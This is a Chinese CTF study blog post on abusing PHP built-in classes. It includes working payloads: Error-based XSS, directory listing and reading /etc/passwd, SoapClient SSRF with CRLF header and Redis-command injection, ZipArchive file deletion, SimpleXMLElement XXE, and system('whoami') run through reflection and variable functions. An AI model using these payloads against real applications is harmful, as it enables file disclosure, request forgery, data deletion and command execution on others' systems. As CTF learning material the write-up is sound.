# 前言

对于原生类的接触主要是在 ctfshow 菜鸟杯上的一道题,师傅用原生类两步就秒了,我还在来回折腾。所以记录一下在网上看到的可利用的原生类。

原生类,顾名思义就是自带的类,不需要事前进行 class 定义。

在 ISCC2022web 题有个就是典型的原生类利用

image-20230417232054784

其中 new 的类和向类中传递的参数都可以自定义,就随便用原生类

# 原生类

# Error/Exception

# XSS

这两个类中都内置了__toString () 方法

<?php
$a = new Error("test");
echo $a;

当执行时,会输出该 “test”

image-20230417233124069

而这个 test 是直接拼接到网页中的,那就有 xss 攻击:

$a = new Error("<script>alert('xss')</script>");
echo $a;

此时,会把 <script>alert('xss')</script> 直接拼接到 html 中,造成 xss 攻击

image-20230417233325942

确实是当成脚本解析了

image-20230417233451683

# 绕过哈希比较

<?php
$a = new Error("payload",1);
echo $a;

在使用类中的__toString () 方法时,向 Error 中传入的 1 并不会显示,这说明在字符串操作时候,只要传入的 “payload” 相同,即视为该字符串相同。

但不同的两个类本质上是不一样的。这样说可能有点绕,来看代码

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a . $b;

注意,把 $a 和 $b 放在同一行定义才能保证 echo 出来的内容一致。

Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}

可见,两者的字符串是完全一致的,但是进行 var_dump 比对时,两者的值却不相同。

这就让我想起来之前学长布置过的一个 rce:

if((string)$_POST['a'] != (string)$_POST['b'] && sha1($_POST['a']) === sha1($_POST['b']))

很不巧,这里是用 post 方法接收值,而且进行了 string 转换,而转换之后的值就一样了,所以没法用这个方法解,学长给出来的 wp 是用读取恶意构造的 pdf 文件以绕过。

但是如果换个题,把应用场景换在类中比较:

if($this->a != $this->b && sha1($this->a) === sha1($this->b))

此时就可以用原生类绕过了

$this->a = new Error("payload",1);$this->b = new Error("payload",2);

# Directorylterator/Filesystemlterator

<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

传入 /?whoami=glob:///* 即可查看根目录下的所有文件

如果不用 foreach 就只能查看第一个

image-20230418123910771

Filesystemlterator 和 DirectoryIterator 的不同是:Filesystemlterator 返回的是以绝对路径显示,而 DirectoryIterator 仅显示当前目录下

# Globlterator

这个类与前两个类似,不过这个查找文件时不需要搭配 glob:// 伪协议使用,直接传入路径即可

<?php
$dir = "/*";
$a = new GlobIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

image-20230418124020916

# SplFileObject

可以利用该类读取文件的一行

<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

但是也只能读一行,如果要全部读取要加 foreach 遍历

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

# SoapClient

SoapClient 类中内置了一个__call 方法,触发该方法之后可以发送 http 和 https 请求。这个也可以被运用在 ssrf 中。

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。

第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。

则可以构造:

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234'));
$a->a();
?>

在 192.168.255.129 上给一个 1234 的监听,可以接收到:

POST /aaa HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.255.129:1234#a"
Content-Length: 388
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

如果 HTTP 头存在 CRLF 漏洞,就可以通过 SSRF+CRLF 插入任意 HTTP 头。

payload:

<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
$a->a();
?>

成功插入 cookie:

POST / HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=test
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

同理,还可以插入 Redis 命令:

<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test'));
$a->a();
?>

也可以发送 POST 数据包,但是要设置 Content-Typeapplication/x-www-form-urlencoded

由于 Content-Type 的位置在 UA 底下,就可以通过类中的 UA 插入 Content-Type ,把原来的挤到底下作为 POST 内容

抄的一份 payload:

<?php
$target = 'http://192.168.255.129:1234';
$poc = "CONFIG SET dir /var/www/html";
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=Cookie'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test'));
$a->a();
?>

返回的结果:

image-20230418145614812

成功传入了 POST 内容。

# ZipArchive

类下有个 open 方法,可以打开一个新的或现有的 zip 文档进行读取.

ZipArchive::open ( string $filename [, int $flags ] ) : mixed

flags 可以指定开打的模式:

  • ZipArchive::OVERWRITE :总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。

  • ZipArchive::CREATE :如果不存在则创建一个 zip 压缩包。

  • ZipArchive::RDONLY :只读模式打开压缩包。

  • ZipArchive::EXCL :如果压缩包已经存在,则出错。

  • ZipArchive::CHECKCONS :对压缩包执行额外的一致性检查,如果失败则显示错误。

如果指定 flags 为 ZipArchive::OVERWRITE ,就可以把指定文件删除。

$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE); 

由于没有保存,所以最后的效果就是把 1.txt 删除

# SimpleXMLElement

这个类用于解析 XML 文档中的元素。

官方文档中对于 SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

$data :格式正确的 XML 字符串,或者 XML 文档的路径或 URL(如果 $data_is_url 为 true)。

$data_is_url :默认情况下 $data_is_url 为 false。使用 true 指定 $data 的路径或 URL 到一个 XML 文件,而不是字符串数据。

可以看到通过设置第三个参数 $data_is_urltrue ,我们可以实现远程 xml 文件的载入。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。

当可以控制目标的调用的类的时候,就可以通过这个类进行 XXE 攻击。

攻击的手法:

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

# Reflection

# ReflectionMethod

该类中有个 getDocComment() 方法,可以获得类中函数的注释内容。

<?php
include('flag.php');
highlight_file(__FILE__);
$a = new ReflectionMethod('F','get');
?>

输出

image-20230418202913993

# ReflectionClass

能显示出类中的属性和方法:

<?php
highlight_file(__FILE__);
class F{
    protected $pro;
    private $pri;
    protected function get(){
        echo 'pro';
    }
}
$ref = new ReflectionClass('F');
echo $ref;
?>

image-20230418203240233

# ReflectionFunction

<?php
$a = "system";
$b = "whoami";
$func = new ReflectionFunction($a);
echo $func->invokeArgs(array($b));
?>

image-20230418215234029

# 动态调用

学习中看到别人的博客经常提到 “动态调用”,因此去了解了一下。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。

浅显一点的有:

<?php
$a = "system";
$b = "whoami";
($a)($b);
?>

这样相当于直接执行了 system(whoami) 命令。

复杂调用有:

<?php
class F{
	public function sys($exec){
		system($exec);
}
}
$n = new F();
$a = array($n,"sys");
$b = "whoami";
$a($b);
?>

其中通过数组来调用 F 类中的 sys 函数,并把 whoami 赋值给 $b,传到了 F 类中的 sys 函数。

image-20230418220831410

# 参考

CTF 中 PHP 原生类的利用 – JohnFrod's Blog

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

PHP: 可变函数 - Manual